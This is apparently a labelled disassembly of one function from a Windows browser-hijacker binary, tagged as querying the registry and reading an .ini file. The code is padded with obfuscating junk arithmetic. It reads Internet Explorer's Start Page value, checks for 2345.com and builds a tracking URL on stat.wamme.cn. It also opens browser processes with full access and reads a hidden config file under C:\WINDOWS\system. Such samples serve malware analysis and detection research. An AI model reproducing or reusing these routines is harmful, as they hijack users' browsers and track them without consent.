Function at 0x411750
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ee5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.004248b0
mov eax, dword [0x451944]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4508e8]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508f4]
imul edx, edx, 0x185
sub edx, eax
mov eax, dword [0x4508dc]
sub edx, dword [0x4508d8]
lea esi, [edx + eax + 0xd7]
mov edx, dword [0x4508f0]
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508d4]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x315
sub ecx, ebx
sub ecx, edx
xor edi, edi
add ecx, esi
lea ecx, [eax + ecx - 0x30e]
mov dword [ebp - 0x10ec], edi
mov dword [str._r_____r_____n], esi
mov dword [ebp - 4], edi
mov dword [0x4508d4], ecx
mov dword [ebp - 0x10dc], edi
lea edx, [ebp - 0x10dc]
push edx
push 0x441068
push 0x17
push edi
push 0x445814
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [0x4508e8]
mov ecx, dword [0x4508dc]
mov esi, eax
mov eax, 0x197b05f9
imul edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4508ec]
sub edx, ebx
sub edx, ecx
mov ecx, dword [0x4508f4]
test esi, esi
lea eax, [edx + ecx - 0x30e]
mov dword [0x4508dc], eax
jge 0x4118ed
mov ecx, dword [0x4508e4]
mov esi, dword [0x4508f0]
imul ecx, ecx, 0x377
mov eax, 0x60f25deb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
imul edx, edx, 0x1a8
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx - 0x15c]
mov dword [0x4508e0], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x4118e6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x413102
mov esi, dword [0x4508e0]
imul ecx, ecx, 0x30f
mov eax, 0x68fed1fd
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x4508e4]
mov eax, 0xa8791709
imul ecx
mov eax, dword [ebp - 0x10dc]
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add esi, edx
lea edx, [ecx + esi + 0x456]
mov dword [0x4508e4], edx
lea edx, [ebp - 0x10e8]
push edx
mov dword [ebp - 0x10e8], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, dword [0x4508d8]
mov ecx, dword [0x4508e0]
imul ecx, ecx, 0x30f
mov eax, edi
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
imul edx, edx, 0x315
sub ecx, eax
mov eax, dword [ebp - 0x10e8]
add ecx, edx
test eax, eax
mov dword [0x4508e8], ecx
je 0x4118d2
mov esi, dword [0x4508e4]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x24e
sub esi, eax
mov eax, dword [ebp + 8]
test eax, eax
lea esi, [esi + edx - 0x30e]
mov dword [0x4508ec], esi
je 0x411a36
mov edx, dword [0x4508f0]
imul ecx, ecx, 0x1b2
mov eax, 0x197b05f9
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x2a4
sub edx, eax
add edx, ecx
sub edx, edi
sub edx, 0x163
mov ecx, 0x562978
mov dword [0x4508f0], edx
call fcn.00406080
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508ec]
mov edi, dword [str._r_____r_____n]
imul esi, esi, 0x1b2
mov eax, 0x8c2f17d3
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x60f25deb
imul dword [0x4508e4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
imul edx, edx, 0x1a8
sub eax, edi
sub eax, esi
lea esi, [eax + edx - 0x30e]
mov dword [0x4508f4], esi
xor edi, edi
cmp edi, dword [ebp - 0x10e8]
mov dword [ebp - 0x10f4], edi
jge 0x4130a9
mov ebx, dword [0x4508d8]
imul esi, esi, 0x185
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ebx
lea edx, [esi + ecx + 0xd7]
mov dword [str._r_____r_____n], edx
mov dword [ebp - 0x10d4], 0
mov eax, edi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508dc]
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x21d814d3
imul esi
sub edx, esi
mov esi, dword [0x4508ec]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508f4]
sub eax, ebx
sub eax, esi
test edi, edi
lea ebx, [eax + edx - 0x30e]
mov dword [0x4508dc], ebx
jl 0x411c55
mov edx, dword [0x4508d8]
imul ebx, ebx, 0x315
mov ecx, dword [0x4508e0]
mov eax, edx
imul ecx, ecx, 0x30f
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
add ecx, ebx
xor edi, edi
test eax, eax
mov dword [0x4508e8], ecx
mov dword [ebp - 0x10c8], edi
je 0x411c03
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4410c0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508ec]
imul esi, esi, 0x315
mov eax, 0x49e28fbb
imul dword [0x4508f0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
sub eax, ebx
mov ebx, dword [str._r_____r_____n]
sub eax, esi
add eax, ebx
test edi, edi
lea eax, [edx + eax - 0x30e]
mov dword [0x4508d4], eax
jne 0x411c72
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x413097
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x413091
mov esi, dword [0x4508e4]
mov eax, esi
imul eax, eax, 0x377
mov dword [ebp - 0x10cc], eax
mov eax, 0x60f25deb
imul ecx
mov ecx, dword [ebp - 0x10cc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x4508d8]
add eax, dword [0x4508f0]
mov edx, ecx
imul edx, edx, 0x1a8
lea eax, [edx + eax - 0x15c]
mov dword [0x4508e0], eax
mov dword [ebp - 0x10cc], 0
imul esi, esi, 0x222
imul ebx, ebx, 0x24e
mov eax, 0xde27eb2d
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
lea ecx, [ebp - 0x10cc]
lea edx, [esi + ebx - 0x30e]
push ecx
mov dword [0x4508ec], edx
mov eax, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [eax + 0x48]
xor ebx, ebx
cmp eax, ebx
jge 0x411d2a
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x411e03
mov edx, dword [eax]
push eax
jmp 0x411e00
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508ec]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
mov ecx, dword [0x4508f4]
imul ecx, ecx, 0x185
sar edx, 8
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [ebp - 0x10cc]
sub eax, ecx
mov ecx, dword [0x4508e0]
sub eax, ecx
add eax, 0x4f2
cmp esi, ebx
mov dword [0x4508d8], eax
mov dword [ebp - 0x10d8], ebx
je 0x411d9e
mov edx, dword [esi]
lea eax, [ebp - 0x10d8]
push eax
push 0x4410d0
push esi
call dword [edx]
mov esi, dword [ebp - 0x10cc]
mov ecx, dword [0x4508e0]
mov edi, dword [0x4508f4]
mov eax, 0x68fed1fd
imul edi, edi, 0x30f
imul ecx
sub edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4508e4]
sub eax, edi
mov edi, eax
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edi, edx
lea ecx, [eax + edi + 0x456]
cmp dword [ebp - 0x10d8], ebx
mov byte [ebp - 4], 6
mov dword [0x4508e4], ecx
jne 0x411e2e
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x411e03
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x411e17
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x413091
jmp 0x41308b
test byte [0x562c70], 1
jne 0x411e54
mov esi, dword [0x562c70]
or esi, 1
push ebx
mov dword [0x562c70], esi
call fcn.0042486f
add esp, 4
mov dword [0x562c6c], eax
push ebx
call fcn.0042486f
sub eax, dword [0x562c6c]
add esp, 4
cmp eax, 0x708
jge 0x411f17
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10f8]
push eax
push ecx
mov dword [ebp - 0x10f8], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x10f8]
cmp eax, ebx
je 0x412861
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
cmp edx, ebx
je 0x411f17
mov ax, word [0x441a7c]
mov cl, byte [0x441a7e]
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push ebx
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
lea ecx, [ebp - 0x2c4]
push str.startup.exe
push ecx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412876
mov ecx, dword [0x4508f0]
mov eax, 0x197b05f9
imul ecx
mov ecx, dword [0x4508e8]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
mov edi, dword [0x4508d8]
imul edx, edx, 0x2a4
sub edx, eax
mov eax, ecx
imul eax, eax, 0x1b2
add edx, eax
mov eax, dword [ebp + 8]
sub edx, edi
sub edx, 0x163
mov dword [0x4508f0], edx
mov edx, dword [ebp - 0x10ec]
inc edx
cmp eax, ebx
mov dword [ebp - 0x10ec], edx
je 0x412fe0
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406b70
mov ecx, 0x562978
call fcn.004061a0
test al, al
mov ecx, dword [0x4508e8]
jne 0x412fe0
mov edi, dword [0x4508f4]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov esi, dword [0x4508d8]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x185
sub edx, eax
sub edx, esi
mov esi, dword [0x4508dc]
lea eax, [edx + esi + 0xd7]
mov dword [str._r_____r_____n], eax
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4508ec]
lea ecx, [eax + edi - 0x30e]
mov eax, dword [ebp - 0x10c8]
mov dword [0x4508dc], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508e0]
mov edx, ecx
imul esi, esi, 0x30f
imul edx, edx, 0x3a7
sub esi, edx
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508dc]
sar edx, 8
imul ecx, ecx, 0x315
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1108]
sub esi, eax
add esi, ecx
push edx
mov dword [0x4508e8], esi
call fcn.0041a110
mov ecx, dword [0x4508e8]
mov dword [ebp - 0x10d0], eax
mov edi, dword [0x4508d8]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508f4]
imul ecx, ecx, 0x185
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0xd7]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
push edx
push eax
call dword [ecx + 0x90]
mov ecx, dword [0x4508dc]
mov edi, dword [0x4508ec]
mov esi, eax
imul edi, edi, 0x1a8
mov eax, 0x97012e03
imul ecx
mov eax, dword [0x4508f4]
add edx, ecx
imul eax, eax, 0x185
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x4508e0]
sub ecx, eax
sub ecx, edi
add ecx, 0x4f2
cmp esi, ebx
mov dword [0x4508d8], ecx
jne 0x412158
mov ecx, dword [ebp - 0x10fc]
push ecx
call fcn.0041a110
cmp eax, ebx
je 0x412152
lea edx, [eax + 1]
jmp 0x412140
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412140
sub eax, edx
cmp eax, 5
ja 0x4129d2
mov ecx, dword [0x4508d8]
mov edx, dword [0x4508e8]
imul ecx, ecx, 0x1a8
mov esi, dword [0x4508e4]
mov eax, 0x60f25deb
imul esi, esi, 0x377
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4508f0]
lea ecx, [ecx + esi - 0x15c]
mov dword [0x4508e0], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4121a1
lea edx, [ebp - 0x1c4]
push edx
call fcn.00419fb0
mov ecx, dword [str._r_____r_____n]
mov dword [ebp - 0x110c], eax
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
mov ecx, dword [0x4508e4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x60f25deb
imul ecx
mov eax, dword [0x4508dc]
sar edx, 8
imul eax, eax, 0x1a8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x1b2
sub ecx, esi
sub ecx, edx
mov edx, dword [0x441a60]
lea ebx, [ecx + eax - 0x30e]
mov ecx, dword [str.sfdafsdafdsfdsfa]
mov eax, dword [0x441a64]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x441a68]
mov dword [ebp - 0x140], edx
mov dl, byte [0x441a6c]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4508e8]
mov eax, 0xa61fcc17
imul ecx
mov dword [0x4508f4], ebx
imul ebx, ebx, 0x185
add edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
sub ebx, eax
lea eax, [ebp - 0x10f0]
push eax
push 0xf003f
sub ebx, edx
lea edx, [ebx + ecx + 0xd7]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10f0], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4124c4
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508f4]
mov eax, 0x68fed1fd
imul esi, esi, 0x30f
imul ecx
sub edx, ecx
imul ecx, ecx, 0x30f
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x4508e4]
mov eax, 0xa8791709
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edi, edx
lea edx, [eax + edi + 0x456]
mov dword [0x4508e4], edx
mov edx, dword [0x4508f0]
mov esi, dword [0x4508e8]
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x315
sub eax, edi
mov edi, dword [str._r_____r_____n]
sub eax, edx
mov edx, dword [0x4508d4]
add eax, edi
lea eax, [edx + eax - 0x30e]
mov edx, dword [0x4508d8]
mov dword [0x4508d4], eax
mov eax, edx
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
imul edx, edx, 0x315
sub ecx, eax
add ecx, edx
lea eax, [ebp - 0x10e0]
push eax
mov eax, dword [ebp - 0x10f0]
mov dword [0x4508e8], ecx
lea ecx, [ebp - 0x144]
push ecx
lea edx, [ebp - 0x10e4]
push edx
push 0
push str.Start_Page
mov ebx, 1
push eax
mov dword [ebp - 0x10e0], 0x104
mov dword [ebp - 0x10e4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4124c4
mov edi, dword [0x4508dc]
mov ecx, dword [0x4508ec]
mov eax, 0x97012e03
imul ecx, ecx, 0x1a8
imul edi
mov eax, dword [0x562c68]
add edx, edi
sar edx, 8
add ecx, edx
mov esi, edx
mov edx, dword [0x4508f4]
imul edx, edx, 0x185
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x4508e0]
sub esi, edx
sub esi, ecx
add esi, 0x4f2
test eax, eax
mov dword [0x4508d8], esi
jne 0x4124d6
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412490
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00424fa0
add esp, 8
test eax, eax
je 0x4124c4
lea edx, [ebp - 0x144]
push edx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x562ce0
mov dword [0x562c68], ebx
call fcn.0042478a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x4508d8]
mov edi, dword [0x4508dc]
mov ecx, dword [0x4508e0]
imul ecx, ecx, 0x30f
imul edi, edi, 0x315
mov eax, esi
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x4508e8], ecx
mov ecx, dword [ebp - 0x10f0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x4508f0]
mov esi, dword [0x4508e8]
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
imul esi, esi, 0x1b2
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4508ec]
mov edx, dword [0x4508d4]
imul ecx, ecx, 0x315
sub eax, ecx
add eax, dword [str._r_____r_____n]
lea ecx, [edx + eax - 0x30e]
mov ebx, dword [0x4508d8]
mov eax, 0x197b05f9
imul edi
mov dword [0x4508d4], ecx
imul ecx, ecx, 0x2a4
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
add ecx, esi
sub ecx, ebx
sub ecx, 0x163
lea edx, [ebp - 0x1104]
push edx
mov dword [0x4508f0], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1104]
push eax
call fcn.0041a110
mov edx, dword [0x4419fc]
mov ebx, eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x441a00]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x441a04]
mov dword [ebp - 0x4c0], edx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
mov dx, word [0x441a08]
mov word [ebp - 0x4b4], dx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412634
sub eax, edx
mov dword [ebp - 0x10e4], eax
je 0x412772
push str.http:__
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str.HTTP:__
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str.www.
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str.WWW.
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..COM
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..com
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..NET
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..net
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..ORG
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..org
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push 0x4419a4
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push 0x4419a0
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..htm
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x41275d
push str..HTM
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
je 0x412772
push ebx
lea eax, [ebp - 0x4c4]
push 0x441988
push eax
call fcn.0042478a
add esp, 0xc
push str.C:WINDOWS_system_sdax.txt
push 0x400
lea ecx, [ebp - 0x8c4]
push ecx
push 0x440e1d
push str.rtgbh
push str.asdf
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x412945
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4127a5
sub eax, edx
mov dword [ebp - 0x10e4], eax
je 0x412945
mov edi, 0x4410a4
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x412945
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412945
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412945
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412945
lea eax, [ebp - 0x1c4]
push ebx
push eax
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412945
mov esi, str.http:__i.maxthon.cn_
mov cl, byte [ebx]
mov dl, byte [esi]
mov al, cl
cmp cl, dl
jne 0x4128cf
test al, al
je 0x41285d
mov dl, byte [ebx + 1]
mov cl, byte [esi + 1]
mov al, dl
cmp dl, cl
jne 0x4128cf
add ebx, 2
add esi, 2
test al, al
jne 0x412835
xor eax, eax
jmp 0x4128d4
push str.startup.exe
call fcn.00403a70
add esp, 4
test eax, eax
jle 0x411f17
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41288a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41289e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x4128b2
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x413091
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x413091
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x412945
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00424fa0
add esp, 8
test eax, eax
jne 0x412945
mov esi, dword [0x4508e8]
mov ecx, dword [0x4508dc]
mov eax, 0x197b05f9
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x21d814d3
imul ecx
mov eax, dword [0x4508f4]
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4508ec]
sub edx, edi
sub edx, ecx
lea edx, [edx + eax - 0x30e]
mov dword [0x4508dc], edx
jmp 0x4129de
push 0
call fcn.0042486f
mov ecx, dword [0x562c64]
mov dword [0x562c60], eax
add esp, 4
inc ecx
mov dword [0x562c64], ecx
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508f4]
mov eax, 0x68fed1fd
imul esi, esi, 0x30f
imul ecx
sub edx, ecx
mov ecx, dword [0x4508e4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xa8791709
imul ecx
mov eax, dword [ebp - 0x10c8]
add edx, ecx
sar edx, 8
mov ecx, edx
sub edi, esi
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x456]
mov dword [0x4508e4], edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x38]
mov ecx, dword [ebp - 0x110c]
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov esi, dword [0x4508e8]
mov ecx, dword [0x4508ec]
mov edi, dword [0x4508f0]
imul ecx, ecx, 0x315
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [ebp - 0x10d0]
sub eax, ecx
add eax, dword [str._r_____r_____n]
test ebx, ebx
mov ecx, dword [0x4508d4]
lea ecx, [ecx + eax - 0x30e]
mov dword [0x4508d4], ecx
je 0x412ec5
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412a46
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x412ec5
mov ecx, dword [0x4508e4]
mov eax, 0x60f25deb
imul ecx, ecx, 0x377
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
